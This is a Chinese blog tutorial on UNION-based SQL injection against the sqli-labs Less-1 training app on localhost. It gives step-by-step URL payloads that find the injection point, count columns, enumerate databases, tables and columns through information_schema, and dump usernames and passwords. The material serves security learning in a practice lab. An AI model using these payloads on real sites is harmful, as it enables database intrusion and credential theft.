sql联合查询注入

sql注入的相关基础知识可以参考我之前的BLOG

联合查询的一个思路步骤:

  1. 判断注入点

  2. 判断注入类型(数字型型or字符型)

  3. 判断字段数

  4. 判断回显位

  5. 确定数据库名

  6. 确定表名

  7. 确定字段名

  8. 拿到数据

用sqli-lab-less1举例

  1. 判断注入点

    http://127.0.0.1:8888/Less-1/?id=1'  //报错页面
    http://127.0.0.1:8888/Less-1/?id=1   //正常页面
    

    所以存在注入点

  2. 判断注入点类型

    由于报错信息,显示的是单引号闭合问题,并且报错信息显示了传入的参数

    若注释了单引号则正常显示。所以判断是字符型注入

  3. 判断字段数

    输入

    ?id=1' order by 3 //显示正常
    ?id=1' order by 4 //报错
    

    order by 3之前都显示正常,直到4开始报错,可以判断出字段数有3列

  4. 判断回显位

    ?id=-1' union select 1,2,3 --+
    

    利用联合查询注入.判断出2,3位为显示位

  5. 确定数据库名

    在显示位,输入想要查询的内容。(数据库常用函数与参数)

    database() 查询数据库名

    ?id=-1' union select 1,2,database() --+
    

    爆出全部的库名

    ?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
    

  6. 确定表名

    查询的语句为

    ?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='security' --+
    

    爆出某个指定数据库的全部表名

    ?id=-1' union all select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security"--+
    
  7. 确定字段名

    ?id=-1' union select 1,1,column_name from information_schema.columns where table_name='emails' --+
    

    爆出指定表的所有字段

    ?id=-1' union all select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security" --+
    

  8. 拿到指定字段的数据

    ?id=-1' union all select 1, group_concat(username),group_concat(password) from users --+
    

    指定表,拿到这个表里某个字段的数据

评论